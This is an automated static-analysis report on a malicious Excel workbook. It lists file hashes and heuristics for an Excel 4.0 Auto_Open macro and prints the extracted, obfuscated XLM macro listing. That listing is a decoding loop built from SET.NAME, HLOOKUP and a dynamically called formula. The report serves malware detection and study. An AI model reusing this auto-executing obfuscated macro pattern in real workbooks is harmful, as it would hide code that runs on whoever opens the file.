Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bab707486d0d72dc…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:44:03 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: b251ca628f07dc49599718b0263c3657 SHA-1: 75e3fcd05a2ce87cbc07d172082be2994ef17058 SHA-256: bab707486d0d72dc45d05b08829594a0535fcec934ee4b18f94fb4d416e6b52e
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6710 bytes
SHA-256: 86329b4b29e8987313b892b35bbe49cb43ecb9aeda76feb9f239f2456593b7f0
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  KubSf
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E174 
' 0018     22 LABEL : Cell Value, String Constant - BSEhJUC len=0 
' 0018     24 LABEL : Cell Value, String Constant - bWrEdgkqI len=0 
' 0018     22 LABEL : Cell Value, String Constant - cJtHfWP len=0 
' 0018     22 LABEL : Cell Value, String Constant - cyWayFf len=0 
' 0018     24 LABEL : Cell Value, String Constant - DZkTIddOz len=0 
' 0018     27 LABEL : Cell Value, String Constant - EiKvpIagkwlw len=0 
' 0018     25 LABEL : Cell Value, String Constant - eYisshAAao len=0 
' 0018     22 LABEL : Cell Value, String Constant - guosJHu len=0 
' 0018     24 LABEL : Cell Value, String Constant - hCkBNgmoQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - KJwngTQPW len=0 
' 0018     26 LABEL : Cell Value, String Constant - kLSIQONrbAy len=0 
' 0018     25 LABEL : Cell Value, String Constant - mVjwVlsHOf len=0 
' 0018     26 LABEL : Cell Value, String Constant - oKDFQcmmwlB len=0 
' 0018     27 LABEL : Cell Value, String Constant - PtRcIWwipyAZ len=0 
' 0018     24 LABEL : Cell Value, String Constant - TOMyZJhkb len=0 
' 0018     24 LABEL : Cell Value, String Constant - tYJUYeLyE len=0 
' 0018     21 LABEL : Cell Value, String Constant - uCKRhb len=0 
' 0018     22 LABEL : Cell Value, String Constant - ufUhrgY len=0 
' 0018     21 LABEL : Cell Value, String Constant - wnxRdF len=0 
' 0018     27 LABEL : Cell Value, String Constant - WULFtklxerep len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  KubSf,E85,"SET.NAME("cJtHfWP",0+VALUE("0"))",""
'  KubSf,E87,"SET.NAME("wnxRdF",cJtHfWP)",""
'  KubSf,E90,"SET.NAME("BSEhJUC",cJtHfWP)",""
'  KubSf,E94,"SET.NAME("bWrEdgkqI",COUNTA(KJwngTQPW))",""
'  KubSf,Q94,"",486.00000000000000000000
'  KubSf,Q95,"",-798.00000000000000000000
'  KubSf,Q96,"",343.00000000000000000000
'  KubSf,Q97,"",-694.00000000000000000000
'  KubSf,E98,"SET.NAME("EiKvpIagkwlw",COUNTA(DZkTIddOz))",""
'  KubSf,Q98,"",-635.00000000000000000000
'  KubSf,Q99,"",332.00000000000000000000
'  KubSf,E100,[],""
'  KubSf,E102,"SET.NAME("PtRcIWwipyAZ","")",""
'  KubSf,E104,"wnxRdF",""
'  KubSf,E108,"SET.NAME("ufUhrgY",HLOOKUP("*",KJwngTQPW,wnxRdF,FALSE))",""
'  KubSf,E112,"oKDFQcmmwlB",""
'  KubSf,E116,"SET.NAME("TOMyZJhkb",cJtHfWP)",""
'  KubSf,E119,[],""
'  KubSf,E122,"TOMyZJhkb",""
'  KubSf,E124,"eYisshAAao",""
'  KubSf,E126,"mVjwVlsHOf",""
'  KubSf,E131,"WULFtklxerep",""
'  KubSf,E136,"SET.NAME("guosJHu",VALUE(HLOOKUP("*",DZkTIddOz,WULFtklxerep,FALSE)))",""
'  KubSf,E139,"tYJUYeLyE",""
'  KubSf,E141,"PtRcIWwipyAZ",""
'  KubSf,E145,"BSEhJUC",""
'  KubSf,E150,NEXT(),""
'  KubSf,E155,"hCkBNgmoQ",""
'  KubSf,E158,[],""
'  KubSf,E163,"cyWayFf",""
'  KubSf,E168,NEXT(),""
'  KubSf,E172,RETURN(),""
'  KubSf,E198,"SET.NAME("kLSIQONrbAy",E85)",""
'  KubSf,E200,"KJwngTQPW",""
'  KubSf,E204,"SET.NAME("DZkTIddOz",R91C13)",""
'  KubSf,E208,"SET.NAME("cyWayFf",217)",""
'  KubSf,E211,"SET.NAME("uCKRhb",5)",""
'  KubSf,E216,kLSIQONrbAy(),""
'  KubSf,E217,HALT(),""